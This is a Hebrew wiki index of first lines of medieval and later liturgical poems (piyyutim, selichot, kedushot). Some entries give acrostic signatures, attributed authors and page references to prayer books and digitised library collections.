'''[[איך מכל אומות|איך מכל אומות הושפלתי עד תהומות]]'''. סליחה. —סי' אמתי חזק [בן שפטיה]. *[[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אגרות שד&quot;ל|אגרות שד&quot;ל]] 898 [https://www.nli.org.il/he/books/NNL_ALEPH990019787750205171/NLI?volumeItem=3 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#מבחר השירה|מבחר השירה]] [https://archive.org/details/mivarhashirahhai02brod/page/n65/mode/2up 47], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338074 256], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/reader/reader.aspx?sfid=29119#p=50&amp;fitMode=fitwidth&amp;hlts=&amp;ocr= 46], [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Zunz|ס. פ.]] 11, 186 [https://books.google.ht/books?id=TogPeJgrOIwC&amp;printsec=frontcover&amp;hl=fr#v=onepage&amp;q&amp;f=false *].{{ש}}
איך מפי בן ובת{{ש}}

איך משכני עליון{{ש}}

איך נאנחה במשבר{{ש}}

איך נוי שודד{{ש}}

איך נפלה ממנו עטרה{{ש}}

איך נפתח פה{{ש}}

איך תנחמוני הבל{{ש}}

איכה אהובים נאמנים{{ש}}

איכה אופל גאון עוזנו{{ש}}

איכה אלי קוננו מאליו{{ש}}

איכה אצת באפך{{ש}}

איכה אשפתו פתוח כקבר{{ש}}

איכה את אשר כבר עשוהו{{ש}}

איכה ישבה בדד עגונה{{ש}}

איכה ישבה חבצלת השרון{{ש}}

איכה צאן ההרגה{{ש}}

איכה תפארתי מראשותי השליכו{{ש}}

איככה אפצה פה{{ש}}

איל אחר נאחז{{ש}}

אילותנו לעזרתנו חושה{{ש}}

אילילה אלכה שולל{{ש}}

אילת אהבים מתנת סיני{{ש}}

אילת השחר אורה בהצחר{{ש}}

אימת נוראותיך{{ש}}

==א-3005==
'''[[אין זולתך|אין זולתך ואפס דוגמתך]]'''. – זולת לשבועות – סי' יצחק בר מאיר חזק ואמץ בתורה ובמעשים טובים. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337967 149].

==א-3006==
'''אין זולתך לגאול גואל חזק'''. – זולת – מזכיר חרבן ירושלם ע&quot;י מסעי הצלב בשנת 1099 – [קלונימוס בר יהודה]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337983 165].{{ש}}

==א-3022==
'''[[אין כמדת בשר מדתך|אין כמדת בשר מדתך איה קנאתך ועצת עמדתך]]'''. – סליחה – סי' א&quot;ב (כפול) – [שלמה הבבלי]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א סב|א סב]] [https://hebrewbooks.org/pdfpager.aspx?req=7069&amp;st=&amp;pgnum=246 122]: [https://hebrewbooks.org/pdfpager.aspx?req=7069&amp;st=&amp;pgnum=404 200]: [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;א 118 ח&quot;ג 304 [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#דרך החיים|דרך החיים]] ה 167 הדרת, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#מטיב שפה|מטיב שפה]] 15 [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סליחות-בער|סליחות-בער (מ&quot;א)]] [https://upload.wikimedia.org/wikipedia/commons/5/55/The_Seli%E1%B8%A5ot_for_the_Entire_Year.pdf#page=36 11] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סליחות 1548|סליחות-1548]]-[https://hebrewbooks.org/pdfpager.aspx?req=11808&amp;st=&amp;pgnum=22&amp;hilite= 9], [https://hebrewbooks.org/pdfpager.aspx?req=11808&amp;st=&amp;pgnum=217 157] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=89 ח&quot;ב 43]: [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338052 234].{{ש}}

==א-3027==
'''[[אין כמוך באלמים|אין כמוך באלמים דומם ושותק למעגימים]]'''. — זולת לשבת א' אחר פסח — סי' א&quot;ב, יצחק ברבי שלום חזק. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=657 256], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 223, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 307 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=338 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 102, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=206 102], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ספר הדמעות|ספר הדמעות]] ח&quot;א [https://benyehuda.org/collections/6832 217], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338276 458].{{ש}}

אין לי בטחון כי אם עליך{{ש}}

אין לנו לא אורים ותומים{{ש}}

אין לנו לא אשם ולא אשים{{ש}}

אין לנו עוד אלהים זולתך{{ש}}

אין מושיע וגואל{{ש}}

אין מי יקרא בצדק{{ש}}

אין פה להשיב{{ש}}

אין צור חלף{{ש}}

איש אשר הוקרן{{ש}}

איש חסיד{{ש}}

איש יולד לתת עליון{{ש}}

איש מלאכי חפצתי בו{{ש}}

איש עניו חילה פניך{{ש}}

איתן האזרחי השכיל{{ש}}

איתן למד דעת{{ש}}

איתן למד דעת בטרם ידעוך כל{{ש}}

אך בך לדל מעוז{{ש}}

אך בך לדל עזרה{{ש}}

אך בך מקוה ישראל{{ש}}

אך במתח דין{{ש}}

אך זה היום{{ש}}

אך זה היום קיויתי{{ש}}

אכון לחלות פניך{{ש}}

אכלו משמנים{{ש}}

אכן אתה אל{{ש}}

אכפרה פני מלך רב{{ש}}

אכרע אקוד לפני מלכי{{ש}}

אכתיר זר תהילה{{ש}}

אל אדון{{ש}}

אל אדון אמיתו צינה וכידון{{ש}}

אל אדון על כל המעשים (חתונה){{ש}}

אל אדון על כל המעשים אמר ויהי{{ש}}

אל אדון על כל פעלים{{ש}}

אל אל אשא דעי{{ש}}

אל אל בני אלים{{ש}}

אל אל וטובו{{ש}}

==א-3377==
'''[[אל אל חי ארנן|אל אל חי ארנן בלב ובשר אתחנן]]'''. — יוצר שבת אחר פסח. — סי' א&quot;ב, שמעון ברבי יצחק [בר אבון]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א סאלוניקי|א סלוניקי]] [https://hebrewbooks.org/pdfpager.aspx?req=11767&amp;st=&amp;pgnum=121 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 310 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=341 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=660 259], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 235, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 107, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=211 104]:, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337932 114].{{ש}}

אל אל שדי אתחנן{{ש}}

אל אלהי אבותיכם האמירכם זרע אמוני{{ש}}

אל אלהים אעתר{{ש}}

אל אלהים אצעקה במילולי{{ש}}

אל אלהים בך יצדקו צדוק{{ש}}

אל אלהים ה' דבר{{ש}}

אל אלהים ה' דבר (יוצר){{ש}}

אל אלהים ה' כמקראו{{ש}}

אל אלהינו נשוב בצר לנו{{ש}}

אל אלוה דלפה עיני{{ש}}

אל אליהו{{ש}}

אל אמונה עזרה הבה{{ש}}

אל ארך אפים אתה{{ש}}

אל באפך פן תמעיט{{ש}}

אל ברוב עצות תכן את רוח{{ש}}

אל דביר קדשך ידינו נשואות{{ש}}

אל דמי לך רב וגואל{{ש}}

אל הר המור{{ש}}

אל חי יפרֹש{{ש}}

אל חי יפתח השמים{{ש}}

אל טוב וסלח אדמתנו הצלח{{ש}}

אל יבנה הר גליל{{ש}}

אל ים גלותנו{{ש}}

אל ימעט לפניך את כל התלאה{{ש}}

אל ישעך צמאתי{{ש}}

אל ישראל נקראת לפנים{{ש}}

אל למושעות{{ש}}

אל מאד נעלה{{ש}}
==א-3774==
'''[[אל מחוללי|אל מחוללי שמע קולי כפי חילי אהללה]]'''. — [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב 276 [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=677 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 303, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=465 *], {{ש}} [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 134, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=237 *].


אל מלא רחמים של כ' סיון{{ש}}

אל מלך יושב על כיסא רחמים{{ש}}

אל מסתתר{{ש}}

אל מתנשא לכל לראש{{ש}}

אל נא אוצרך הטוב{{ש}}

אל נא יום זה{{ש}}

אל נא למען אב אומץ{{ש}}

אל נא לעולם תוערץ{{ש}}

אל נא רפא נא תחלואי גפן פוריה{{ש}}

אל נא תיסר באי עדיך{{ש}}

אל נא תעינו כשה אובד{{ש}}

אל נגלה במדות שלש עשרה{{ש}}

אל נורא עלילה{{ש}}

אל נכספתי לראותך{{ש}}

אל נערץ בסוד קדושים רבה{{ש}}

אל נערץ בסוד קדושים רבת{{ש}}

אל נקמות הופיע (סליחות){{ש}}

אל נשא ארנן בהתעלסה{{ש}}

אל עבדיך המצא קונם{{ש}}

אל עושה נפלאות{{ש}}

אל פתחך ירון שה אובד{{ש}}

אל רחום שמך{{ש}}

אל רם בכל נודעת{{ש}}

אל תבישנו{{ש}}

אל תעש עמנו כלה{{ש}}

אל תפר בריתך איתנו{{ש}}

אלה אזכרה (פיוט){{ש}}

אלה בשלישמו{{ש}}

אלה בשן סלע מצודתם{{ש}}

אלהא רבא{{ש}}

אלהי אברהם מאויבי עז{{ש}}

אלהי אל תדינני כמעלי{{ש}}

אלהי אקראך במחשב{{ש}}

אלהי בושתי ונכלמתי (סליחות){{ש}}

אלהי בך איחבק{{ש}}

אלהי בשר עמך מפחדך סמר{{ש}}

אלהי העברים נקרא{{ש}}

אלהי הרוחות הושיעה נא{{ש}}

==א-4447==
'''[[אלהי ימי שנותי כלו|אלהי ימי שנותי כלו בארך גלותי]]'''. — אהבה לשבת א' אחר פסח — סי' יוסף שבתי בן יצחק חזק [החרוזים שבהם ר&quot;ת שבתי חסרים בדפוסים ונמצאו ב[[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Magazin|מאגאזין]] י&quot;ב [https://sammlungen.ub.uni-frankfurt.de/cm/periodical/pageview/2574428 56]]. *  [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=656 255], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 221, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 307 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=338 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 101, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=205 101], תרגום אשכנזי מ' פאפפענהיים אש דת ח&quot;ג צד 41, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=102&amp;hilite= 98],  [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=13 671].{{ש}}

אלהי ישועתנו שעה שועתנו{{ש}}

אלהי ישענו נוראות מאוים{{ש}}

אלהי מעשיו מה נפלאים{{ש}}

אלהי עושי יוצרי ונוצרי{{ש}}

אלהי עז תהלתי{{ש}}

אלהי קדם הדר במעונה{{ש}}

אלהי קדם מעונה{{ש}}

==א-4563==
'''[[אלהיכם אדיר שמו ומיוחד]]'''.–קדושה לשבת חתונה–[אליעזר].  * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338097 279].{{ש}}
==א-4564==
'''[[אלהיכם אדירכם]]'''. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#נחלת שד&quot;ל-ג|נחלת שד&quot;ל ג]]  [https://hebrewbooks.org/pdfpager.aspx?req=58106&amp;st=&amp;pgnum=29 26].{{ש}}
==א-4565==
'''[[אלהיכם אור עטר ומזיו טלית]]'''. – [אור שרגא]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338416 598].{{ש}}
==א-4566==
'''[[אלהיכם אל אדיר ויחיד]]'''. – [אלעזר בן יהודה הכהן]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=48 706].{{ש}}
==א-4567==
'''[[אלהיכם אל כל מקום גדולתו]]'''. –קדושה למוסף– [אפרים מבונא]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338108 290].{{ש}}
==א-4568==
'''[[אלהיכם אל נערץ בסוד קדושים אהובים]]'''. – [אלעזר בן יהודה הכהן]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=48 706].{{ש}}
==א-4569==
'''[[אלהיכם אלהים חיים]]''' –קדושה לשבת חתונה– [אליעזר] * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338097 279].{{ש}}
==א-4570==
'''[[אלהיכם אני ואתם עמי]]'''. – * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337903 85].{{ש}}
==א-4571==
'''[[אלהיכם אני זוכר הברית|אלהיכם אני זוכר הברית הנה אנכי שולח לשארית]]'''. – * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א הדרת|א הדרת]] [https://hebrewbooks.org/pdfpager.aspx?req=11581&amp;st=&amp;pgnum=641 321],  דרך החיים ב 268, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] חלק א [https://hebrewbooks.org/pdfpager.aspx?req=22373&amp;st=&amp;pgnum=436 216], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337903 85], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סדר התפלות-שבתי בס|סדר התפלות-שבתי בס]] 8.{{ש}}
==א-4572==
'''[[אלהיכם אני פצתה צרור המור]]'''. – * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337903 85].{{ש}}
==א-4573==
'''[[אלהיכם אתכם ינחם ורעתכם לטובה תומר]]'''.  סי' אביגדור קרא. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Ben Chananja|בן חנניה]] [https://sammlungen.ub.uni-frankfurt.de/cm/periodical/pageview/2545933 ד 238].{{ש}}
(*) מקורות נוספים: [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#יזכור פראג|יזכור פראג]][https://www.nli.org.il/en/discover/manuscripts/hebrew-manuscripts/itempage?vid=KTIV&amp;scope=KTIV&amp;docId=PNX_MANUSCRIPTS990000649560205171 עמוד 23].{{ש}}
==א-4574==
'''[[אלהיכם ברוך סודו וברוך טעמו]]'''. –קדושה למוסף– [ברוך בן שמואל]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338125 307].{{ש}}
==א-4575==
'''[[אלהיכם דרשו קראו זאת מנוחתו]]'''. –קדושה לשבת ראש חדש– [מיוחס לרס&quot;ג, אולם הוא סעדיה מאוחר].– * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337995 177].{{ש}}
==א-4576==
'''[[אלהיכם זרוייו יאסף ויצבור]]'''. –קדושה למוסף של שבת וברית מילה– [זבדיה]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337986 168].{{ש}}
(*) מקורות נוספים: [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#זבדיה|זבדיה]] 48 [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פליישר-איטליה|פליישר-איטליה]] 162.

==א-4577==
'''[[אלהיכם יוסיף ידו|אלהיכם יוסף ידו לקבץ נפוצותיכם]]'''. –קדושה לשבת נחמו– סי יהודה בר שמואל חזק [החסיד]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א סב|א סב]] [https://hebrewbooks.org/pdfpager.aspx?req=7069&amp;st=&amp;pgnum=386 192], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א הדרת|א הדרת]] [https://hebrewbooks.org/pdfpager.aspx?req=11581&amp;st=&amp;pgnum=626 *], דרך החיים ב 268, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ע&quot;י|עבודת ישראל]] [https://hebrewbooks.org/pdfpager.aspx?req=42897&amp;st=&amp;pgnum=274 244], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] חלק א [https://hebrewbooks.org/pdfpager.aspx?req=22373&amp;st=&amp;pgnum=435 215], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=82 78], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338289 471], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סדר התפלות-שבתי בס|סדר התפלות-שבתי בס]] 8.{{ש}}
==א-4578==
'''[[אלהיכם יוסיף ידו שנית]]'''. – קדושה למוסף שבת חתונה – [יוסף בן נתן חזן מטרנא]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338090 272].{{ש}}
(*) ב[[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פרמה-1904|פרמה-1904]] 129 הוא לשבת חול המועד סוכות.

==א-4579==
'''[[אלהיכם יוסיף כס יה]]'''. –קדושה למוסף– [הרקח]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338137 319].{{ש}}
==א-4580==
'''[[אלהיכם יוסיף כס יה איוה]]'''. – [יהודה]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=63 721].{{ש}}
==א-4581==
'''[[אלהיכם יזריח שמשו|אלהיכם יזריח שמשו שבעתים בגבורתו]]'''. –יוצר לשבת ראש חודש. סי' יהודה חזק.– * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א סב|א סב]] [https://hebrewbooks.org/pdfpager.aspx?req=7069&amp;st=&amp;pgnum=35 17], דרך החיים ב 268, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ע&quot;י|עבודת ישראל]] [https://hebrewbooks.org/pdfpager.aspx?req=42897&amp;st=&amp;pgnum=273 243], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] חלק א [https://hebrewbooks.org/pdfpager.aspx?req=22373&amp;st=&amp;pgnum=435 215:], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=83 79], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338381 563].{{ש}}
==א-4582==
'''[[אלהיכם יחזיר שכינתו]]'''. –[יהודה]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338381 563].{{ש}}
==א-4583==
'''[[אלהיכם יחיד בעולמו]]'''. –[יוסף]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338387 569].{{ש}}
==א-4584==
'''[[אלהיכם יחיד ונשא מכל נעלם]]'''. –קדושה לשבת חתונה– [יקר הלוי בן שמואל]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338306 488].{{ש}}
==א-4585==
'''[[אלהיכם יחשוף זרועו|אלהיכם יחשוף זרועו לקבל פזוריכם]]'''. – לשבת שובה– סי' יהודה [בר שמואל]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] חלק א [https://hebrewbooks.org/pdfpager.aspx?req=22373&amp;st=&amp;pgnum=435 215:].{{ש}}
==א-4586==
'''[[אלהיכם יצחצח קדושתו]]'''. –[יצחק]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338371 553].{{ש}}
(*)מקורות נוספים: [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#המבורג 182b|המבורג 182b]] [https://www.nli.org.il/en/discover/manuscripts/hebrew-manuscripts/itempage?vid=KTIV&amp;scope=KTIV&amp;docId=PNX_MANUSCRIPTS990001674880205171 4].{{ש}}

אלהיכם ישיב בשלם סוכו{{ש}}

אלהיכם ישכיל עבדו{{ש}}

אלהיכם ישלח משיחו{{ש}}
=='''[[אלהיכם רמה ידו]]'''==
(*)–קדושה למוסף שבת (שניה) של חנוכה. סי' ראובן חזק.– * [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#מוסקבה (גנזבורג) 201|מוסקבה 201]] [https://www.nli.org.il/en/discover/manuscripts/hebrew-manuscripts/itempage?vid=KTIV&amp;scope=KTIV&amp;docId=PNX_MANUSCRIPTS990001678600205171&amp;SearchTxt=guenzburg%20201 47ב].{{ש}}

אלהיכם שופט צדק{{ש}}

אלהיכם שיכנו שם{{ש}}
==א-4605==
'''[[אלהיכם תפארתו ממעל]]'''. –קדושה של מוסף– [הרקח]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338137 319].
אלהים אין בלתך{{ש}}

אלהים אל דמי אל נקשר בשמי{{ש}}

אלהים אל דמי לדמי{{ש}}

אלהים אל דמי לך (זולת){{ש}}

אלהים אל מי אמשילך{{ש}}

אלהים אל ראשון ואחרון{{ש}}

אלהים אלי אתה{{ש}}

אלהים אלי אתה אשחרך (זולת){{ש}}

אלהים אלי אתה אשחרך מארץ שביי{{ש}}

אלהים אמת אלהים חיים{{ש}}

אלהים אתה ידעת{{ש}}

אלהים באוזנינו שמענו{{ש}}

אלהים בהנחילך{{ש}}

אלהים בישראל גדול יחודך{{ש}}

אלהים בישראל גדול נודעת{{ש}}
==א-4686==
'''[[אלהים ביתה מושיב יחידים]]'''.{{ש}}

אלהים בצעדך הכות פתרוס{{ש}}

אלהים דבר בקול ערב{{ש}}

אלהים ה' חילי{{ש}}

אלהים יסעדנו{{ש}}

אלהים יראה לו שה פזורה{{ש}}

אלהים לא אדע זולתך{{ש}}

אלהינו אל שדי{{ש}}

אלהינו אלהים אמת{{ש}}

אלהינו שבשמים{{ש}}

אלהינו שבשמים אל תעמוד לנו במידת הדין{{ש}}

אלהינו שבשמים חננו{{ש}}

אלוה מני עד{{ש}}

אלוהי אבי{{ש}}

אלוהים צוית לידידך בחירך{{ש}}

אלי אלי למה{{ש}}

אלי אלי למה עזבתנו{{ש}}

אלי אלי למה עזבתני ותמסרני{{ש}}

אלי חיש גואלי{{ש}}

אלי עדתי והילילי{{ש}}

אלי ציון{{ש}}

אלי שובה איומתי{{ש}}

אליהו הנביא{{ש}}

אליהו הנביא מהרב אברהם יצחק הכהן קוק{{ש}}

אליו מי הקשה{{ש}}

אליך אקרא יה{{ש}}

אליך ה' אקרא משגב לעתות בצרה{{ש}}

אליך ה' נשאנו עינינו{{ש}}

אליך ה' נשאתי עיני{{ש}}

אליך ה' שועתי{{ש}}

אליך ה' שועתי בצר לי אל קראתי{{ש}}

אליך האל עיני כל יציר תלויות{{ש}}

אליך ועדיך באנו נערים וזקנים{{ש}}

אליך לב ונפש נשפוך כמים{{ש}}

אליך נפשי אשא{{ש}}

אליך נקרא איום ונורא{{ש}}

אליך נשואות עינינו{{ש}}

אליך פנינו בושנו להרים{{ש}}

אליך צורי כפים שטחתי{{ש}}

אליך תשוקתי{{ש}}

אליכם עדה נאמנה{{ש}}

אליכם עדה קדושה{{ש}}

אלים ברוצם באופניהם{{ש}}

אלכה ואשובה{{ש}}

אלמעכטיגער גאט{{ש}}

אם אמרי אשכחה מרי שיחי{{ש}}

אם אפס{{ש}}

אם אשמנו כתולע האדים{{ש}}

אם חכם לבך בני{{ש}}

אם יוספים אנחנו{{ש}}

אם ישבת לכסא{{ש}}

אם יתקע שופר בעיר{{ש}}

אם לא תדעי נפשי אחריתך{{ש}}

אם ננעלו{{ש}}

אם עוונינו ענו בנו{{ש}}

אם עוונינו רבו להגדיל{{ש}}

אם פגע בך האי מנוול{{ש}}

אם תאהב דרך{{ש}}

אם תאכלנה נשים פרים{{ש}}

אם תחפצה{{ש}}

אם תעינו לא תתענו{{ש}}

אם תעירו תלונותיכם{{ש}}

אמהות עת נכבשה{{ש}}

אמון יום זה{{ש}}

אמון פתחי תשובה{{ש}}

אמונה יצרה{{ש}}

אמוני ארץ אמונתך שוחחים{{ש}}

אמוני חוגגי תקופת השנה{{ש}}

אמוני לבב{{ש}}

אמוני נכונים{{ש}}

אמוני שלומי ישראל{{ש}}

אמוניך מתחננים{{ש}}

אמוניך שעה{{ש}}

אמונים אשר נאספו{{ש}}

אמונים בני מאמינים{{ש}}

אמונים יחוסים{{ש}}

אמונים כגהו מתוך בהו{{ש}}

אמונים ערכו שבח{{ש}}

אמונים שררו{{ש}}

אמונת אומן לעם זו זכרת{{ש}}

אמונת אומן עצות מרחוק{{ש}}

אמונת מלכים{{ש}}

אמונת עתים{{ש}}

אמונתך אמיתי רבה{{ש}}

אמיץ כח{{ש}}

אמנם אלהי עולם{{ש}}

אמנם אנחנו חטאנו{{ש}}

אמנם אשמינו{{ש}}

אמנם הרענו מעשינו{{ש}}

אמנם כן יצר סוכן בנו{{ש}}

אמנם עוונינו למאד גברו{{ש}}

אמנת מאז ארשת ניב שפתים{{ש}}

אמצני אלהי{{ש}}

אמצת עשור{{ש}}

אמר ה' ליעקב{{ש}}

אמר רבי עקיבא{{ש}}

אמרו לאלהים עם אחריו נוהים{{ש}}

אמרו לנמהרי לב{{ש}}

[[אמרות ה' אמרות טהורות]]

אמרות אל אמרות טהורות{{ש}}

אמרות האל טהורות{{ש}}

אמרנו נגזרנו לנו{{ש}}

אמרר בבכי מפני יד שלוחה בעי{{ש}}

אמרר בבכי תרדנה דמעה עיני{{ש}}

אמרת ה' צרופה
אמרת רנן אערוכה{{ש}}

